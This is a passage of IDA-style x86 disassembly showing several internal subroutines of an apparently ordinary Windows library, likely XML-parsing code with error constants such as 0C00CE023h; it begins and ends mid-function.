jnz short loc_69B8DCA2
mov eax, [esi+38h]
add eax, 10h
jmp short loc_69B8DC99
; ---------------------------------------------------------------------------
loc_69B8DC93: ; CODE XREF: sub_69B8DC6E+18j
mov eax, [esi+38h]
add eax, 0Ch
loc_69B8DC99: ; CODE XREF: sub_69B8DC6E+23j
push [ebp+arg_10]
push eax
call sub_69B17320
loc_69B8DCA2: ; CODE XREF: sub_69B8DC6E+1Bj
and dword ptr [esi+5Ch], 0
jmp short loc_69B8DCAE
; ---------------------------------------------------------------------------
loc_69B8DCA8: ; CODE XREF: sub_69B8DC6E+Aj
mov eax, [ebp+arg_C]
mov [esi+5Ch], eax
loc_69B8DCAE: ; CODE XREF: sub_69B8DC6E+10j
; sub_69B8DC6E+38j
xor eax, eax
pop esi
pop ebp
retn 1Ch
sub_69B8DC6E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8DCB5 proc near ; DATA XREF: sub_69B8E980:loc_69B8EA8Eo
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, [ebp+arg_14]
push ebx
xor ebx, ebx
cmp eax, ebx
push esi
push edi
mov esi, ecx
mov [ebp+var_8], ebx
jz short loc_69B8DCD3
mov eax, [eax+8]
mov [ebp+var_4], eax
jmp short loc_69B8DCD6
; ---------------------------------------------------------------------------
loc_69B8DCD3: ; CODE XREF: sub_69B8DCB5+14j
mov [ebp+var_4], ebx
loc_69B8DCD6: ; CODE XREF: sub_69B8DCB5+1Cj
mov eax, [ebp+arg_8]
cmp eax, 14h
ja loc_69B8DDD6
cmp eax, 13h
jnb loc_69B8DD6C
sub eax, 0Bh
jz short loc_69B8DD4C
dec eax
dec eax
jz short loc_69B8DD25
sub eax, 4
jnz loc_69B8DEEC
cmp [esi+28h], bl
mov ecx, [esi+14h]
push ebx
push [ebp+var_4]
setz al
mov [esi+58h], al
call sub_69B8AFBA
mov ecx, [esi+14h]
push 1
push [ebp+var_4]
push eax
call sub_69B8B4A5
jmp loc_69B8DEEC
; ---------------------------------------------------------------------------
loc_69B8DD25: ; CODE XREF: sub_69B8DCB5+3Dj
mov ecx, [esi+24h]
call sub_69B8C6AD
cmp eax, 2
jnz short loc_69B8DD3E
loc_69B8DD32: ; CODE XREF: sub_69B8DCB5+151j
mov [ebp+var_8], 0C00CE023h
jmp loc_69B8DF7B
; ---------------------------------------------------------------------------
loc_69B8DD3E: ; CODE XREF: sub_69B8DCB5+7Bj
cmp [esi+28h], bl
setz al
mov [esi+58h], al
jmp loc_69B8DEEC
; ---------------------------------------------------------------------------
loc_69B8DD4C: ; CODE XREF: sub_69B8DCB5+39j
mov ecx, [esi+24h]
call sub_69B8C6AD
cmp eax, 9
jz loc_69B8DEEC
mov eax, [esi+24h]
mov dword ptr [eax+18h], 0Ah
jmp loc_69B8DEEC
; ---------------------------------------------------------------------------
loc_69B8DD6C: ; CODE XREF: sub_69B8DCB5+30j
cmp [esi+44h], ebx
jnz loc_69B8DEEC
mov ecx, [esi+24h]
call sub_69B8C6AD
cmp eax, 9
jnz short loc_69B8DDC6
mov eax, [esi+14h]
mov eax, [eax+50h]
cmp eax, ebx
jz short loc_69B8DD9A
push [ebp+var_4]
mov ecx, eax
call sub_69B1980A
cmp eax, ebx
jnz short loc_69B8DDC6
loc_69B8DD9A: ; CODE XREF: sub_69B8DCB5+D5j
mov eax, [esi+14h]
mov edi, [esi+64h]
push 1
mov [ebp+arg_C], eax
mov eax, [ebp+arg_0]
mov ecx, [eax]
push ebx
push eax
call dword ptr [ecx+1Ch]
push eax
mov eax, [ebp+arg_0]
mov ecx, [eax]
push eax
call dword ptr [ecx+18h]
mov ecx, [ebp+arg_C]
push eax
push [ebp+var_4]
push edi
call sub_69B8B5C1
loc_69B8DDC6: ; CODE XREF: sub_69B8DCB5+CBj
; sub_69B8DCB5+E3j
push [ebp+var_4]
mov ecx, [esi+24h]
call sub_69B8CA8B
jmp loc_69B8DEEC
; ---------------------------------------------------------------------------
loc_69B8DDD6: ; CODE XREF: sub_69B8DCB5+27j
sub eax, 18h
jz loc_69B8DE7D
dec eax
jz short loc_69B8DE31
dec eax
jnz loc_69B8DEEC
mov eax, [ebp+arg_C]
sub eax, 2Eh
jz short loc_69B8DE28
dec eax
jz short loc_69B8DE15
dec eax
jnz loc_69B8DEEC
mov ecx, [esi+24h]
call sub_69B8C6AD
cmp eax, 2
jz loc_69B8DD32
mov eax, [esi+24h]
mov byte ptr [eax+30h], 3
jmp short loc_69B8DE1C
; ---------------------------------------------------------------------------
loc_69B8DE15: ; CODE XREF: sub_69B8DCB5+13Dj
mov eax, [esi+24h]
mov byte ptr [eax+30h], 2
loc_69B8DE1C: ; CODE XREF: sub_69B8DCB5+15Ej
; sub_69B8DCB5+17Aj
mov dword ptr [esi+44h], 1
jmp loc_69B8DEEC
; ---------------------------------------------------------------------------
loc_69B8DE28: ; CODE XREF: sub_69B8DCB5+13Aj
mov eax, [esi+24h]
mov byte ptr [eax+30h], 1
jmp short loc_69B8DE1C
; ---------------------------------------------------------------------------
loc_69B8DE31: ; CODE XREF: sub_69B8DCB5+12Bj
mov ecx, [ebp+arg_C]
cmp ecx, 25h
jz short loc_69B8DE6B
cmp ecx, 26h
jz short loc_69B8DE53
jbe loc_69B8DEEC
cmp ecx, 2Ch
jbe short loc_69B8DE6B
cmp ecx, 2Dh
jz short loc_69B8DE72
jmp loc_69B8DEEC
; ---------------------------------------------------------------------------
loc_69B8DE53: ; CODE XREF: sub_69B8DCB5+187j
mov eax, [esi+30h]
cmp [eax+34h], bl
jz short loc_69B8DE67
mov [ebp+var_8], 0C00CE022h
jmp loc_69B8DF7B
; ---------------------------------------------------------------------------
loc_69B8DE67: ; CODE XREF: sub_69B8DCB5+1A4j
mov byte ptr [eax+34h], 1
loc_69B8DE6B: ; CODE XREF: sub_69B8DCB5+182j
; sub_69B8DCB5+192j
mov dword ptr [esi+44h], 1
loc_69B8DE72: ; CODE XREF: sub_69B8DCB5+197j
mov eax, [esi+24h]
add ecx, 0FFFFFFDCh
mov [eax+18h], ecx
jmp short loc_69B8DEEC
; ---------------------------------------------------------------------------
loc_69B8DE7D: ; CODE XREF: sub_69B8DCB5+124j
lea edi, [esi+24h]
mov eax, [edi]
cmp eax, ebx
mov [esi+58h], bl
jz short loc_69B8DEAB
mov eax, [eax+10h]
cmp eax, ebx
jz short loc_69B8DEA0
push ebx
push ebx
push 2
push eax
push [ebp+arg_0]
push dword ptr [esi+10h]
call sub_69B8D7E7
loc_69B8DEA0: ; CODE XREF: sub_69B8DCB5+1D9j
mov ecx, [edi]
push ebx
push dword ptr [esi+30h]
call sub_69B8CDCB
loc_69B8DEAB: ; CODE XREF: sub_69B8DCB5+1D2j
push [ebp+var_4]
mov ecx, [esi+30h]
call sub_69B8C678
test eax, eax
push ebx
push [ebp+var_4]
setnz al
mov [esi+28h], al
call sub_69B8CDB7
push eax
push edi
call sub_69B17320
push [ebp+arg_14]
lea eax, [esi+64h]
push eax
call sub_69B17320
cmp [esi+28h], bl
jnz short loc_69B8DEE9
push dword ptr [edi]
mov ecx, [esi+30h]
call sub_69B8CA67
loc_69B8DEE9: ; CODE XREF: sub_69B8DCB5+228j
mov [esi+44h], ebx
loc_69B8DEEC: ; CODE XREF: sub_69B8DCB5+42j
; sub_69B8DCB5+6Bj ...
cmp [esi+58h], bl
jz loc_69B8DF7B
mov eax, [esi+24h]
cmp [eax+10h], ebx
jnz short loc_69B8DF7B
mov eax, [esi+30h]
cmp [eax+10h], ebx
jnz short loc_69B8DF41
lea ecx, [ebp+arg_C]
push ecx
push dword ptr [eax+0Ch]
xor edi, edi
push ebx
push ebx
push ebx
push ebx
push ebx
inc edi
push edi
push ebx
push [ebp+arg_0]
push dword ptr [esi+10h]
call sub_69B8D750
mov ecx, [esi+30h]
mov eax, [ecx]
push edi
push [ebp+arg_C]
call dword ptr [eax+38h]
mov eax, [esi+30h]
push ebx
push edi
push edi
push dword ptr [eax+10h]
push [ebp+arg_0]
push dword ptr [esi+10h]
call sub_69B8D7E7
loc_69B8DF41: ; CODE XREF: sub_69B8DCB5+24Ej
lea eax, [ebp+arg_C]
push eax
push dword ptr [esi+64h]
mov eax, [esi+30h]
push ebx
push ebx
push ebx
push ebx
push 1
push 2
push dword ptr [eax+10h]
push [ebp+arg_0]
push dword ptr [esi+10h]
call sub_69B8D750
mov eax, [ebp+arg_C]
or byte ptr [eax+9], 20h
mov ecx, [esi+24h]
mov edx, [ecx]
push 1
push eax
call dword ptr [edx+38h]
mov ecx, [esi+24h]
call sub_69B5AC1C
loc_69B8DF7B: ; CODE XREF: sub_69B8DCB5+84j
; sub_69B8DCB5+1ADj ...
mov eax, [ebp+var_8]
pop edi
pop esi
pop ebx
leave
retn 1Ch
sub_69B8DCB5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8DF85 proc near ; CODE XREF: sub_69B8ECE6+F9p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
push ebp
mov ebp, esp
sub esp, 20h
push ebx
push esi
push edi
mov esi, ecx
call sub_69B315A6
mov ecx, [esi+14h]
mov [ebp+var_1C], eax
call sub_69B8D83F
mov edi, eax
mov eax, [edi]
mov ecx, edi
mov [ebp+var_14], edi
call dword ptr [eax+40h]
mov ebx, eax
test ebx, ebx
mov [ebp+var_10], ebx
jnz short loc_69B8E013
loc_69B8DFB5: ; CODE XREF: sub_69B8DF85+320j
mov ecx, [esi+14h]
mov eax, [ecx+5Ch]
cmp dword ptr [eax+0Ch], 0
jz short loc_69B8E000
mov ecx, [ecx+48h]
test ecx, ecx
jz short loc_69B8E000
push dword ptr [eax+8]
call sub_69B1980A
test eax, eax
jz short loc_69B8E000
mov ebx, [eax+0Ch]
mov eax, [esi+14h]
push ebx
add eax, 5Ch
push eax
call sub_69B17320
mov eax, [esi+68h]
mov ecx, [eax+4Ch]
push 0
push 4
push 0
call sub_69B49C1F
mov edx, [eax]
push ebx
mov ecx, eax
call dword ptr [edx+0F0h]
loc_69B8E000: ; CODE XREF: sub_69B8DF85+3Aj
; sub_69B8DF85+41j ...
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+44h]
mov eax, [edi]
mov ecx, edi
jmp loc_69B8E33C
; ---------------------------------------------------------------------------
loc_69B8E010: ; CODE XREF: sub_69B8DF85+317j
mov ebx, [ebp+var_10]
loc_69B8E013: ; CODE XREF: sub_69B8DF85+2Ej
mov ecx, [ebx+30h]
test ecx, ecx
mov [ebp+var_1], 0
jnz short loc_69B8E026
and [ebp+var_8], ecx
jmp loc_69B8E0E2
; ---------------------------------------------------------------------------
loc_69B8E026: ; CODE XREF: sub_69B8DF85+97j
call sub_69B8A4F3
test eax, eax
mov [ebp+var_8], eax
jz loc_69B8E0E2
jmp loc_69B8E0D2
; ---------------------------------------------------------------------------
loc_69B8E03B: ; CODE XREF: sub_69B8DF85+157j
mov ecx, [ebp+var_8]
mov eax, [ecx]
call dword ptr [eax+40h]
mov ecx, dword_69B95A5C
mov edi, eax
mov eax, [edi+8]
cmp ecx, [eax+10h]
jnz short loc_69B8E0D2
mov ecx, [edi+2Ch]
test ecx, ecx
mov [ebp+var_1], 1
jz short loc_69B8E078
mov eax, [esi+6Ch]
mov [ebp+var_18], eax
mov eax, [ecx]
call dword ptr [eax+2Ch]
mov ecx, [ebp+var_18]
push 0 ; int
push 0 ; lpString
push eax ; int
call sub_69B4D394
jmp short loc_69B8E07D
; ---------------------------------------------------------------------------
loc_69B8E078: ; CODE XREF: sub_69B8DF85+D7j
mov eax, dword_69B95A18
loc_69B8E07D: ; CODE XREF: sub_69B8DF85+F1j
mov [ebp+var_C], eax
mov eax, [edi+8]
mov eax, [eax+14h]
test eax, eax
mov [ebp+var_18], eax
jz short loc_69B8E0BD
cmp dword_69B95A7C, eax
jz short loc_69B8E0BD
push eax
call sub_69B4D223
test al, al
jz short loc_69B8E0C1
mov edi, [edi+8]
mov eax, [edi]
push 0
mov ecx, edi
call dword ptr [eax+2Ch]
push eax
mov eax, 0C00CE010h
push eax
push eax
call sub_69B2E9D0
add esp, 10h
jmp short loc_69B8E0C1
; ---------------------------------------------------------------------------
loc_69B8E0BD: ; CODE XREF: sub_69B8DF85+106j
; sub_69B8DF85+10Ej
and [ebp+var_18], 0
loc_69B8E0C1: ; CODE XREF: sub_69B8DF85+118j
; sub_69B8DF85+136j
mov ecx, [esi+6Ch]
push ebx
push [ebp+var_C]
push 0
push [ebp+var_18]
call sub_69B4DCB3
loc_69B8E0D2: ; CODE XREF: sub_69B8DF85+B1j
; sub_69B8DF85+CCj
mov ecx, [ebp+var_8]
mov eax, [ecx]
call dword ptr [eax+38h]
test al, al
jnz loc_69B8E03B
loc_69B8E0E2: ; CODE XREF: sub_69B8DF85+9Cj
; sub_69B8DF85+ABj
mov ecx, [ebx+8]
mov edi, [ecx+10h]
xor al, al
test edi, edi
jz short loc_69B8E0F4
push edi
call sub_69B4D223
loc_69B8E0F4: ; CODE XREF: sub_69B8DF85+167j
cmp [ebp+var_1], 0
jz short loc_69B8E15F
test al, al
jnz short loc_69B8E167
mov ecx, [esi+6Ch]
and [ebp+var_18], 0
lea eax, [ebp+var_18]
push eax
push 0
push edi
call sub_69B4D2DF
test eax, eax
jz short loc_69B8E13D
mov edx, [ebx+0Ch]
mov edx, [edx+0Ch]
mov ecx, [ebx+8]
mov edi, [esi+6Ch]
push edx
push [ebp+var_18]
push eax
mov eax, [ecx]
call dword ptr [eax+2Ch]
push eax
mov ecx, edi
call sub_69B4D7A3
push eax
mov ecx, ebx
call sub_69B8C7A5
jmp short loc_69B8E167
; ---------------------------------------------------------------------------
loc_69B8E13D: ; CODE XREF: sub_69B8DF85+18Ej
test edi, edi
jz short loc_69B8E167
loc_69B8E141: ; CODE XREF: sub_69B8DF85+1E0j
; sub_69B8DF85+27Fj
mov eax, [edi]
push 0
mov ecx, edi
call dword ptr [eax+2Ch]
push eax
mov eax, 0C00CE01Dh
push eax
push eax
call sub_69B2E9D0
add esp, 10h
jmp loc_69B8E356
; ---------------------------------------------------------------------------
loc_69B8E15F: ; CODE XREF: sub_69B8DF85+173j
test edi, edi
jz short loc_69B8E167
test al, al
jz short loc_69B8E141
loc_69B8E167: ; CODE XREF: sub_69B8DF85+177j
; sub_69B8DF85+1B6j ...
mov ecx, [ebp+var_8]
test ecx, ecx
jz loc_69B8E274
mov eax, [ecx]
call dword ptr [eax+44h]
mov edi, [ebp+var_8]
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+38h]
test al, al
jz loc_69B8E274
jmp short loc_69B8E18E
; ---------------------------------------------------------------------------
loc_69B8E18B: ; CODE XREF: sub_69B8DF85+2E6j
mov edi, [ebp+var_8]
loc_69B8E18E: ; CODE XREF: sub_69B8DF85+204j
mov eax, [edi]
mov ecx, edi
call dword ptr [eax+40h]
mov ebx, eax
mov eax, [ebx+8]
mov edi, [eax+10h]
test edi, edi
jz loc_69B8E261
cmp edi, dword_69B95A5C
jz loc_69B8E261
cmp edi, dword_69B95A64
jz loc_69B8E261
and [ebp+var_C], 0
cmp [ebp+var_1], 0
jz short loc_69B8E1D8
mov ecx, [esi+6Ch]
lea eax, [ebp+var_C]
push eax
push 0
push edi
call sub_69B4D2DF
jmp short loc_69B8E1E1
; ---------------------------------------------------------------------------
loc_69B8E1D8: ; CODE XREF: sub_69B8DF85+240j
push edi
call sub_69B4D2B6
mov [ebp+var_C], eax
loc_69B8E1E1: ; CODE XREF: sub_69B8DF85+251j
test eax, eax
jz short loc_69B8E1FE
mov ecx, [ebx+8]
push eax
mov eax, [ecx]
call dword ptr [eax+2Ch]
push eax
call sub_69B192B7
push eax
mov ecx, ebx
call sub_69B5AF7A
jmp short loc_69B8E20A
; ---------------------------------------------------------------------------
loc_69B8E1FE: ; CODE XREF: sub_69B8DF85+25Ej
cmp edi, dword_69B95A64
jnz loc_69B8E141
loc_69B8E20A: ; CODE XREF: sub_69B8DF85+277j
mov eax, [ebx+10h]
test eax, eax
mov [ebp+var_18], eax
jz short loc_69B8E261
mov edx, [ebx+8]
mov eax, [eax]
mov ecx, [esi+6Ch]
push edi
push [ebp+var_C]
mov [ebp+var_20], eax
push edx
call sub_69B3DA18
mov ecx, [ebp+var_18]
push eax
mov eax, [ebp+var_20]
call dword ptr [eax+0F0h]
mov eax, dword_69B95A84
cmp dword ptr [eax+8], 1Fh
mov edi, eax
jg short loc_69B8E248
call sub_69B2E6D8
loc_69B8E248: ; CODE XREF: sub_69B8DF85+2BCj
mov eax, [edi+88h]
cmp eax, [ebx+8]
jnz short loc_69B8E261
mov ecx, [ebp+var_18]
xor eax, eax
push eax
push eax
push eax
push eax
call sub_69B4B0C7
loc_69B8E261: ; CODE XREF: sub_69B8DF85+21Aj
; sub_69B8DF85+226j ...
mov ecx, [ebp+var_8]
mov eax, [ecx]
call dword ptr [eax+38h]
test al, al
jnz loc_69B8E18B
mov ebx, [ebp+var_10]
loc_69B8E274: ; CODE XREF: sub_69B8DF85+1E7j
; sub_69B8DF85+1FEj
cmp [ebp+var_1], 0
jz short loc_69B8E283
mov ecx, [esi+6Ch]
push ebx
call sub_69B4DDE6
loc_69B8E283: ; CODE XREF: sub_69B8DF85+2F3j
mov ecx, [ebp+var_1C]
push ebx
push dword ptr [ebx+8]
call sub_69B3182D
mov ecx, [ebp+var_14]
mov eax, [ecx]
call dword ptr [eax+40h]
test eax, eax
mov [ebp+var_10], eax
jnz loc_69B8E010
mov edi, [ebp+var_14]
jmp loc_69B8DFB5
; ---------------------------------------------------------------------------
loc_69B8E2AA: ; CODE XREF: sub_69B8DF85+3BCj
mov eax, [eax+2Ch]
mov edi, [eax+20h]
mov eax, [eax+1Ch]
mov ebx, [edi+0Ch]
mov [ebp+var_10], eax
jmp short loc_69B8E334
; ---------------------------------------------------------------------------
loc_69B8E2BB: ; CODE XREF: sub_69B8DF85+3B0j
push ebx
mov ecx, edi
call sub_69B8A163
mov [ebp+var_8], eax
mov eax, dword_69B95A84
cmp dword ptr [eax+8], 1
mov [ebp+var_20], eax
jg short loc_69B8E2D9
call sub_69B2E6D8
loc_69B8E2D9: ; CODE XREF: sub_69B8DF85+34Dj
mov eax, [ebp+var_8]
mov ecx, [ebp+var_20]
cmp eax, [ecx+10h]
jz short loc_69B8E334
mov ecx, [esi+14h]
mov ecx, [ecx+48h]
test ecx, ecx
jz short loc_69B8E334
push eax
call sub_69B1980A
test eax, eax
mov [ebp+var_20], eax
jz short loc_69B8E334
push [ebp+var_8]
mov ecx, [ebp+var_10]
call sub_69B1980A
push [ebp+var_8]
mov ecx, [ebp+var_10]
mov [ebp+var_18], eax
call sub_69B17DC6
mov eax, [ebp+var_20]
mov eax, [eax+8]
mov edx, [edi]
push eax
push ebx
mov ecx, edi
mov [ebp+var_8], eax
call dword ptr [edx+38h]
push [ebp+var_18]
mov ecx, [ebp+var_10]
push [ebp+var_8]
call sub_69B3182D
loc_69B8E334: ; CODE XREF: sub_69B8DF85+334j
; sub_69B8DF85+35Dj ...
dec ebx
jns short loc_69B8E2BB
mov ecx, [ebp+var_14]
mov eax, [ecx]
loc_69B8E33C: ; CODE XREF: sub_69B8DF85+86j
call dword ptr [eax+40h]
test eax, eax
jnz loc_69B8E2AA
mov eax, [esi+14h]
push [ebp+var_1C]
add eax, 48h
push eax
call sub_69B17320
loc_69B8E356: ; CODE XREF: sub_69B8DF85+1D5j
pop edi
pop esi
pop ebx
leave
retn
sub_69B8DF85 endp
; =============== S U B R O U T I N E =======================================
sub_69B8E35B proc near ; DATA XREF: .text:off_69B2B1F8o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B8D93D
test [esp+4+arg_0], 1
jz short loc_69B8E373
lea eax, [esi-4]
push eax
call sub_69B1B2B7
loc_69B8E373: ; CODE XREF: sub_69B8E35B+Dj
lea eax, [esi-4]
pop esi
retn 4
sub_69B8E35B endp
; =============== S U B R O U T I N E =======================================
sub_69B8E37A proc near ; CODE XREF: sub_69B8E714+FCp
push 44h
push offset dword_69B8E4B8
call sub_69B19C5C
mov edi, ecx
xor esi, esi
mov [ebp-1Ch], esi
mov ecx, [edi+14h]
push 1
push dword ptr [ebp+0Ch]
call sub_69B8AFBA
mov ebx, eax
test ebx, ebx
jnz short loc_69B8E3AC
mov dword ptr [ebp-1Ch], 0C00CE00Ah
jmp loc_69B8E4A2
; ---------------------------------------------------------------------------
loc_69B8E3AC: ; CODE XREF: sub_69B8E37A+24j
push dword ptr [ebp+8]
call sub_69B8D688
mov esi, eax
mov [ebp-20h], esi
mov eax, [ebx+18h]
mov [ebp-24h], eax
and dword ptr [ebp-4], 0
test eax, eax
jz short loc_69B8E3EE
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
mov eax, [ebp-24h]
mov ecx, [eax+8]
mov [ebp-28h], ecx
mov eax, [eax+0Ch]
mov [ebp-2Ch], eax
mov edx, [esi]
push 1
push ecx
push eax
push esi
call dword ptr [edx+50h]
mov [ebp-1Ch], eax
jmp loc_69B8E472
; ---------------------------------------------------------------------------
loc_69B8E3EE: ; CODE XREF: sub_69B8E37A+4Bj
mov eax, [edi+68h]
mov [ebp-30h], eax
mov al, [eax+83h]
mov [ebp-31h], al
test al, al
jz short loc_69B8E472
mov eax, [ebx+0Ch]
mov [ebp-38h], eax
mov [ebp-24h], eax
test eax, eax
jz short loc_69B8E472
mov ecx, [eax]
push eax
call dword ptr [ecx+4]
mov eax, [ebp+8]
mov ecx, [eax]
lea edx, [ebp-3Ch]
push edx
push eax
call dword ptr [ecx+34h]
mov eax, [ebp-24h]
mov eax, [eax+0Ch]
mov [ebp-40h], eax
mov ecx, [esi]
push 1
push eax
push dword ptr [ebp-3Ch]
push esi
call dword ptr [ecx+4Ch]
mov [ebp-1Ch], eax
test eax, eax
jl short loc_69B8E472
and dword ptr [ebp-44h], 0
mov eax, [esi]
lea ecx, [ebp-44h]
push ecx
push esi
call dword ptr [eax+34h]
mov edi, [edi+2Ch]
mov [ebp-48h], edi
test edi, edi
jz short loc_69B8E472
mov [ebp-4Ch], edi
push dword ptr [ebp-44h] ; lpString
call sub_69B1A587
mov [ebp-50h], eax
lea eax, [edi+10h]
mov [ebp-54h], eax
push dword ptr [ebp-50h]
push eax
call sub_69B17320
loc_69B8E472: ; CODE XREF: sub_69B8E37A+6Fj
; sub_69B8E37A+85j ...
lea eax, [ebp-24h]
push eax
call sub_69B17230
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_69B8E4A2
; ---------------------------------------------------------------------------
loc_69B8E481: ; DATA XREF: .text:69B8E4BCo
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B8E48A: ; DATA XREF: .text:69B8E4C0o
mov esp, [ebp-18h]
mov eax, [ebp-24h]
mov ecx, [eax]
push eax
call dword ptr [ecx+8]
call sub_69B2E860
or dword ptr [ebp-4], 0FFFFFFFFh
mov esi, [ebp-20h]
loc_69B8E4A2: ; CODE XREF: sub_69B8E37A+2Dj
; sub_69B8E37A+105j
test esi, esi
jz short loc_69B8E4AC
mov eax, [esi]
push esi
call dword ptr [eax+8]
loc_69B8E4AC: ; CODE XREF: sub_69B8E37A+12Aj
mov eax, [ebp-1Ch]
call sub_69B1853C
retn 8
sub_69B8E37A endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 4
dword_69B8E4B8 dd 0FFFFFFFFh dd offset loc_69B8E481
dd offset loc_69B8E48A
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B8E4C4 proc near ; DATA XREF: sub_69B8E980+20Eo
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_8]
sub eax, 6
push esi
mov esi, ecx
jz loc_69B8E5A7
sub eax, 7
jz loc_69B8E57A
sub eax, 6
jz short loc_69B8E4FC
dec eax
dec eax
jnz loc_69B8E5AD
mov ecx, [esi+2Ch]
push [ebp+arg_10]
mov eax, [ecx]
call dword ptr [eax+38h]
jmp loc_69B8E5AD
; ---------------------------------------------------------------------------
loc_69B8E4FC: ; CODE XREF: sub_69B8E4C4+1Ej
cmp dword ptr [esi+5Ch], 24h
jnz loc_69B8E594
mov eax, [esi+2Ch]
test byte ptr [eax+30h], 1
jz short loc_69B8E519
mov eax, 0C00CE004h
jmp loc_69B8E5AF
; ---------------------------------------------------------------------------
loc_69B8E519: ; CODE XREF: sub_69B8E4C4+49j
mov eax, [ebp+arg_14]
push ebx
mov ebx, [eax+8]
mov eax, [esi+14h]
mov eax, [eax+50h]
test eax, eax
jz short loc_69B8E536
push ebx
mov ecx, eax
call sub_69B1980A
test eax, eax
jnz short loc_69B8E565
loc_69B8E536: ; CODE XREF: sub_69B8E4C4+64j
mov eax, [esi+64h]
push edi
mov edi, [ebp+arg_0]
mov [ebp+arg_10], eax
mov eax, [esi+14h]
push 1
push 0
mov [ebp+arg_8], eax
mov eax, [edi]
push edi
call dword ptr [eax+1Ch]
push eax
mov eax, [edi]
push edi
call dword ptr [eax+18h]
mov ecx, [ebp+arg_8]
push eax
push ebx
push [ebp+arg_10]
call sub_69B8B5C1
pop edi
loc_69B8E565: ; CODE XREF: sub_69B8E4C4+70j
mov eax, [ebp+arg_14]
push dword ptr [eax+8]
mov eax, [esi+2Ch]
add eax, 20h
push eax
call sub_69B17320
pop ebx
jmp short loc_69B8E5AD
; ---------------------------------------------------------------------------
loc_69B8E57A: ; CODE XREF: sub_69B8E4C4+15j
mov eax, [esi+5Ch]
sub eax, 22h
jz short loc_69B8E59A
dec eax
jnz short loc_69B8E594
mov eax, [esi+2Ch]
push [ebp+arg_10]
add eax, 14h
push eax
call sub_69B17320
loc_69B8E594: ; CODE XREF: sub_69B8E4C4+3Cj
; sub_69B8E4C4+BFj ...
and dword ptr [esi+5Ch], 0
jmp short loc_69B8E5AD
; ---------------------------------------------------------------------------
loc_69B8E59A: ; CODE XREF: sub_69B8E4C4+BCj
push [ebp+arg_10]
mov ecx, [esi+2Ch]
call sub_69B8C57E
jmp short loc_69B8E594
; ---------------------------------------------------------------------------
loc_69B8E5A7: ; CODE XREF: sub_69B8E4C4+Cj
mov eax, [ebp+arg_C]
mov [esi+5Ch], eax
loc_69B8E5AD: ; CODE XREF: sub_69B8E4C4+22j
; sub_69B8E4C4+33j ...
xor eax, eax
loc_69B8E5AF: ; CODE XREF: sub_69B8E4C4+50j
pop esi
pop ebp
retn 1Ch
sub_69B8E4C4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B8E5B4(LPCWSTR lpString, int)
sub_69B8E5B4 proc near ; CODE XREF: sub_69B8EBEA+4Ap
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
lpString = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
and [ebp+var_8], 0
push ebx
mov ebx, [ebp+arg_4]
push esi
mov esi, [ebx+18h]
test esi, esi
push edi
mov edi, ecx
mov [ebp+var_1], 0
jz short loc_69B8E5DE
mov byte ptr [edi+3Dh], 1
mov dword ptr [edi+70h], 4
jmp short loc_69B8E61A
; ---------------------------------------------------------------------------
loc_69B8E5DE: ; CODE XREF: sub_69B8E5B4+1Bj
mov esi, [ebx+0Ch]
test esi, esi
jz short loc_69B8E60F
mov eax, [edi+68h]
cmp byte ptr [eax+83h], 0
jz short loc_69B8E60F
mov eax, [ebp+lpString]
mov ecx, [eax]
lea edx, [ebp+var_C]
push edx
push eax
call dword ptr [ecx+34h]
mov byte ptr [edi+3Dh], 1
mov dword ptr [edi+70h], 4
mov [ebp+var_1], 1
jmp short loc_69B8E61A
; ---------------------------------------------------------------------------
loc_69B8E60F: ; CODE XREF: sub_69B8E5B4+2Fj
; sub_69B8E5B4+3Bj
mov byte ptr [edi+3Dh], 0
mov dword ptr [edi+70h], 5
loc_69B8E61A: ; CODE XREF: sub_69B8E5B4+28j
; sub_69B8E5B4+59j
cmp byte ptr [edi+3Dh], 0
jz loc_69B8E70A
or dword ptr [ebx+30h], 8
mov eax, [edi+50h]
push [ebp+lpString]
mov [edi+54h], eax
call sub_69B8D688
mov ebx, eax
mov eax, [esi]
push esi
call dword ptr [eax+4]
cmp [ebp+var_1], 0
push 0
jz short loc_69B8E67F
mov eax, [esi+0Ch]
mov ecx, [ebx]
push eax
push [ebp+var_C]
push ebx
call dword ptr [ecx+4Ch]
test eax, eax
mov [ebp+var_8], eax
jl short loc_69B8E690
mov eax, [ebx]
and [ebp+lpString], 0
lea ecx, [ebp+lpString]
push ecx
push ebx
call dword ptr [eax+34h]
push [ebp+lpString] ; lpString
call sub_69B1A587
push eax
mov eax, [ebp+arg_4]
add eax, 10h
push eax
call sub_69B17320
jmp short loc_69B8E690
; ---------------------------------------------------------------------------
loc_69B8E67F: ; CODE XREF: sub_69B8E5B4+90j
mov eax, [esi+8]
mov ecx, [esi+0Ch]
mov edx, [ebx]
push eax
push ecx
push ebx
call dword ptr [edx+50h]
mov [ebp+var_8], eax
loc_69B8E690: ; CODE XREF: sub_69B8E5B4+A4j
; sub_69B8E5B4+C9j
mov eax, [esi]
push esi
call dword ptr [eax+8]
mov eax, [ebx]
push ebx
call dword ptr [eax+8]
xor ebx, ebx
cmp [ebp+var_8], ebx
jge short loc_69B8E70A
